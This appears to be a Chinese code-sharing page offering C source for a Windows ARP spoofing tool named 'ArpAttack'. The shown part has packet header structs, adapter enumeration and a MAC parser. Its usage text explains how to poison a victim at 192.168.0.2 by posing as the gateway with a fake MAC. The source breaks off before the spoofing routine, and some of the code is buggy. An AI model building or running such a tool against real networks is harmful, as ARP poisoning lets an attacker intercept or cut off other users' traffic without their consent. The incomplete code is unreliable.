ARP欺骗程序源代码

 #include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "packet32.h"

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")

typedef struct tagAdapterInfo
{
         char szDeviceName[128];               // 名字
         char szIPAddrStr[16];                   // IP
         char szHWAddrStr[18];                 // MAC
         DWORD dwIndex;                     // 编号          
         bool filled;//是否取得了网卡信息
}INFO_ADAPTER, *PINFO_ADAPTER;

INFO_ADAPTER infoAdapterList[10];

typedef struct _et_header     //以太网头部
{
     unsigned char   eh_dst[6];   //接收方的MAC
     unsigned char   eh_src[6];   //发送方的MAC
     unsigned short   eh_type;     //arp报文类型 0x0806
}ET_HEADER;

#pragma pack(1)
typedef struct _arp_header   //ARP头部
{
     unsigned short   arp_hdr; //硬件地址类型   以太网 0x0001
     unsigned short   arp_pro; //上层协议地址类型   IP协议 0x0800
     unsigned char   arp_hln; //MAC地址长度 0x06
     unsigned char   arp_pln;   //IP地质长度 0x04
     unsigned short   arp_opt;   //操作码   0x0001 请求 0x0002 应答
     unsigned char   arp_sha[6]; //发送方 MAC
     unsigned long   arp_spa;     //发送方   IP
     unsigned char   arp_tha[6]; //接收方 MAC
     unsigned long   arp_tpa;     //接收方 IP
}ARP_HEADER;
#pragma pack()


int GetLocalAdapterList()
{
         char                                 tempChar;
         ULONG                                 uListSize=1;
         PIP_ADAPTER_INFO         pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
         int                                         nAdapterIndex = 0;
        
         //获得网卡列表信息串长度
         DWORD         dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
         printf("/r/nTry to get adapter list.../r/n");
         if (dwRet == ERROR_BUFFER_OVERFLOW)
         {
                 PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
                 dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
                 if (dwRet == ERROR_SUCCESS)
                 {
                         pAdapter = pAdapterListBuffer;
                         // 枚举网卡然后将相关条目添加到List中
                         while (pAdapter)      
                         {
                                 // 网卡名字
                                 char strTemp[128];
                                 lstrcpy(strTemp, "//Device//NPF_");                    
                                 lstrcat(strTemp,pAdapter->AdapterName);                         // 加上前缀              
                                 lstrcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
                                 // IP
                                 lstrcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String);
                                 // MAC
                                 sprintf(infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x",
                                         pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2],
                                         pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
                                 // 网卡编号
                                 infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;          
                                 pAdapter = pAdapter->Next;
                                 nAdapterIndex ++;
                         }
                         delete pAdapterListBuffer;
                 }
                
                 return nAdapterIndex;
         }
         return 0;
}




void StrToMac(char *str,unsigned char *mac)
{
         char *str1;
         int i;
         int low,high;
         char temp;
         for(i=0;i<6;i++)
         {
                 str1=str+1;
                 switch(*str)
                 {
                 case 'a' : high=10;break;
                 case 'b':   high=11;break;
                 case 'c':   high=12;break;
                 case 'd':   high=13;break;
                 case 'e':   high=14;break;
                 case 'f':   high=15;break;
                 default: temp=*str;
                         high=atoi(&temp);
                 }
                 switch(*str1)
                 {
                 case 'a' : low=10;break;
                 case 'b':   low=11;break;
                 case 'c':   low=12;break;
                 case 'd':   low=13;break;
                 case 'e':   low=14;break;
                 case 'f':   low=15;break;
                 default:temp=*str1;
                         low=atoi(&temp);
                 }
                 mac[i]=high*16+low;
                 str+=2;
         }
}

int about()
{
         printf("使用方法 : ArpAttack 被攻击方IP 发送方IP 假的MAC地址/r/n");
         printf("/n假设我想攻击192.168.0.2 那么先取得网关IP地址 :192.168.0.1");
         printf("/n然后再 arpattack 192.168.0.2 192.168.0.1 222222222222(虚假MAC地址)");
         printf("/n/n                                         作者 : htaozf QQ:397097144/n ");

         return 1;
}
int GetRemoteMac(unsigned char*remoteMac,char *remoteIP)//获取某IP真实mac地址 并输出

你可能感兴趣的:(struct,header,delete,buffer,include,DST)